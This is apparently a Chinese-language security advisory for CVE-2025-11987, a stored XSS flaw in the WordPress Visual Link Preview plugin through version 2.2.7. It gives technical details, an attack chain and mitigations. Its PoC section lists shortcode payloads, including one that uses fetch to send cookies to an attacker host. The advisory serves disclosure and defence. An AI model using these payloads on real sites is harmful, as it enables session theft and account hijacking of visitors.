CVE-2025-11987 WordPress Visual Link Preview插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-11987

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Visual Link Preview plugin for WordPress

漏洞概述

CVE-2025-11987是WordPress平台下Visual Link Preview插件的一个高危安全漏洞。该插件用于在WordPress文章中创建可视化链接预览功能，版本至2.2.7均受影响。漏洞类型为存储型跨站脚本攻击（Stored XSS），源于插件在处理shortcode属性时未能对用户输入进行充分的输入消毒和输出转义。攻击者通过利用该插件的visual-link-preview短代码，可以将恶意JavaScript代码注入到网页内容中。由于漏洞属于存储型，被注入的恶意脚本会永久保存在服务器端，当其他用户访问包含恶意代码的页面时，攻击代码会自动执行。攻击成功的前提条件是攻击者拥有WordPress网站的 contributor 级别或更高权限账户，这意味着攻击者无需管理员权限即可实施攻击。该漏洞具有持久性危害，一旦恶意代码被注入，所有访问受影响页面的用户都可能受到攻击，包括窃取会话Cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件等。

技术细节

漏洞存在于Visual Link Preview插件处理shortcode属性的逻辑中。在文件 includes/public/class-vlp-link.php 第56行以及模板文件 templates/link/simple/simple.php 中，插件直接使用用户提供的属性值而未进行适当的输入验证和输出转义。具体来说，当用户通过 [visual-link-preview] 短代码插入链接预览时，插件会读取并使用shortcode属性中的参数，但这些参数被直接嵌入到HTML输出中而未经过htmlspecialchars()或其他转义函数处理。攻击者可以通过构造包含JavaScript代码的属性值来实现XSS攻击，例如在属性中注入 onerror、onload 等事件处理器或script标签。由于该插件使用add_shortcode()注册短代码，shortcode属性会作为数组传递给处理函数，而插件未对这些属性值进行过滤就直接输出到HTML中。攻击者只需要在具有写文章权限的账户下，在文章内容中插入恶意shortcode即可触发漏洞。

攻击链分析

STEP 1

1

攻击者获取WordPress网站的 contributor 级别或更高权限账户

STEP 2

2

攻击者创建或编辑文章/页面，插入包含恶意JavaScript代码的 visual-link-preview shortcode

STEP 3

3

插件解析shortcode时未对属性值进行输入消毒和输出转义，直接将恶意代码嵌入HTML输出

STEP 4

4

包含恶意代码的文章被保存到服务器数据库，形成持久化攻击

STEP 5

5

其他用户访问包含恶意shortcode的页面时，浏览器执行注入的JavaScript代码

STEP 6

6

攻击者可窃取用户会话Cookie、劫持账户、执行任意客户端操作或传播恶意内容

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Basic PoC for CVE-2025-11987 -->
<!-- Stored XSS via Visual Link Preview shortcode -->

<!-- Method 1: Using onerror event handler -->
[visual-link-preview url='https://example.com' title='Test' image='x' onerror='alert(document.cookie)']

<!-- Method 2: Using onload event handler -->
[visual-link-preview url='https://example.com' title='<img src=x onerror=alert(1)>']

<!-- Method 3: Using script tag injection -->
[visual-link-preview url='javascript:alert(document.domain)' title='Click me']

<!-- Method 4: Stealing cookies -->
[visual-link-preview url='https://evil.com' title='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']

<!-- Required: Contributor role or higher WordPress account -->

影响范围

Visual Link Preview plugin for WordPress <= 2.2.7

防御指南

临时缓解措施

如果无法立即升级插件，可采取以下临时缓解措施：1) 临时禁用或删除Visual Link Preview插件；2) 限制文章编辑权限，确保所有使用该插件shortcode的内容经过管理员审核；3) 使用WordPress安全插件（如Wordfence）监控和阻止可疑请求；4) 启用HTTP安全响应头Content-Security-Policy来限制脚本执行；5) 定期检查网站内容，搜索是否存在恶意shortcode注入。